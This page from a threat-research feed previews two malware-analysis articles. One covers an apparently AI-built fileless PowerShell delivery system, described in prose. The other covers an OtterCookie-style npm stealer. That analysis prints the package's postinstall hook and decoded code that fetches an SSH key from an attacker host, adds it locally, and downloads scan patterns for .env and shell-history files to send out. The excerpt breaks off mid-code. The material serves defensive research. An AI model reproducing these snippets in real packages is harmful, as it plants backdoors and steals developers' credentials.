# malware-analysis Published articles for malware-analysis. This is one page of public article previews, not the complete archive. Follow Next page to continue. Summaries are not the original full articles. ## SpectrePaste: An AI-Assisted, Fileless PowerShell Malware Delivery System DevFeed: [SpectrePaste: An AI-Assisted, Fileless PowerShell Malware Delivery System]() Original publisher: [Read original article]() Author: Joshua Platt Published: 2026-07-06T18:54:30Z Content type: article Language: en Sources: [Walmart Global Tech]() Topics: [Artificial Intelligence](), [Malware](), [Threat Research](), [PowerShell](), [C2](), [Caching](), [Encryption](), [Resilience](), [Routing (disambiguation)](), [Polymorphism](), [Back end](), [Spec Driven Development]() Tags: [ai](), [artificial-intelligence](), [backend](), [c2](), [cache](), [cybersecurity](), [detection-engineering](), [encryption](), [malware](), [malware-analysis](), [polymorphism](), [powershell](), [resilience](), [routing](), [spec-driven-development](), [threat-intelligence]() ### AI overview The article describes SpectrePaste, a previously undocumented fileless malware delivery system that threat actors used with AI as its primary orchestrator and developer. Its early architecture included automated AMSI-bypass generation, XOR-encrypted payloads, resilient command-and-control traffic handling, caching, request queuing, and administrative priority routing. ### Source excerpt by Joshua Platt and Jason Reaves [TLP:CLEAR] Earlier this year, Google Threat Intelligence[1] reported threat actors are increasingly deploying novel, AI-enabled malware in active operations[2]. While investigating a recent OSINT article[3] on malware campaign activity reported as "DeepLoad", our threat intelligence team identified a separate, previously undocumented fileless delivery system we track as "SpectrePaste". The prior public reporting correctly suspected AI involvement in the "DeepLoad" delivery chain, but our analysis reveals a more conclusive and concerning reality. AI did not just play a supporting role. It acted as the primary orchestrator and developer behind the entire SpectrePaste system. Threat actors internally referred to the early system as "PasteFast Panel." In this initial iteration, the system was highly modular, structured, and designed specifically for resilience against high-volume bot traffic. One of the hallmarks of automated, AI-assisted development. The early architecture functioned as a centralized PowerShell payload delivery system with several notable features: Automated Evasion Generation: The paste builder module automatically prepended Anti-Malware Scan Interface (AMSI) bypass scripts to payloads upon creation, followed by XOR encryption using a custom obfuscator template. This ensured every payload served was dynamically packed. C2 Resilience & High-Load Handling: The most sophisticated feature of the early version was its custom cache manager queue system. The threat actors anticipated massive, simultaneous beaconing from compromised hosts. To prevent database exhaustion, the panel featured an automated threshold toggle. During traffic spikes, the system queued requests, cached the encrypted payloads in memory, and deduplicated IP addresses to ensure a single infected bot could not inadvertently DDoS the command server. Admin Priority Routing: Developer requirements explicitly prioritized operator access. Administrative routes ## Mapping Ottercookie Infrastructure DevFeed: [Mapping Ottercookie Infrastructure]() Original publisher: [Read original article]() Author: Jason Reaves Published: 2026-04-06T17:33:39Z Content type: article Language: en Sources: [Walmart Global Tech]() Topics: [Threat Research](), [Malware](), [JavaScript](), [npm](), [ssh](), [Feathers]() Tags: [backdoor](), [credentials](), [infosec](), [javascript](), [malware](), [malware-analysis](), [npm](), [reverse-engineering](), [ssh]() ### AI overview Jason Reaves analyzes infrastructure associated with OtterCookie and related DPRK-linked malware activity. The article examines a NodeJS package whose decoded code downloads an SSH key, retrieves scan patterns targeting files such as .env and shell history, and sends collected files to remote infrastructure. It then uses port mappings and banner hashes to map additional infrastructure. ### Source excerpt By: Jason Reaves A lot of focus specifically surrounding DPRK has been on IT workers but there are multiple entities performing various schemes. One of the more prolific ones being interviewing developers and having them work on TA supplied code repositories from various sites. The malware delivered is normally leveraged for harvesting credentials and crypto; InvisibleFerret[5], BeaverTail, OtterCookie and Golang based malware[4]. Alot of work goes into tracking and cataloging the various malware families and their code overlaps, not many people focus on the infrastructure side though which is surprising because it's pretty similar to malware analysis; just more pattern matching. While tracking some other malware I ended up pivoting into NodeJS based stealer and backdoor code that resembled similar tactics to DPRK campaigns. 3a08e7f236aac7f6eb6f75911b98bc5157dcfa53b268b447f7d1b87b0615b90d "name": "npm-doc-builder", "version": "1.0.5", "description": "", "main": "index.js", "scripts": { "postinstall": "node test.js" }, "publishConfig": { "access": "public" }, "dependencies": { "axios": "^1.7.0", "child_process": "^1.0.2", "os": "^0.1.2" }, "engines": { "node": ">=18" }, "keywords": [], "author": "", "license": "ISC", "type": "commonjs" The decoded index javascript from this package ends up doing a few things, first it will want to download a SSH key to be added locally: const _0x30c718 = await fetch("https://cloudflareinsights[.]vercel[.]app/"); const { msg: _0x50cbce } = await _0x30c718.json(); let _0x581499 = false; if (process.platform === "linux") { _0x581499 = addSshKeyToUser(_0x50cbce); It will also download patterns for scanning const _0x3c4caa = await fetch("https://cloudflareinsights[.]vercel[.]app/api/scan-patterns"); const { scanPatterns: _0x28ca54 } = await _0x3c4caa.json(); In this case it returned: {"scanPatterns":[".env",".bash_history","ConsoleHost_history.txt"]} Ultimately wanting to send off the files: for (let _0x14ded9 = 0x0; _0x14ded9 < _0x57def7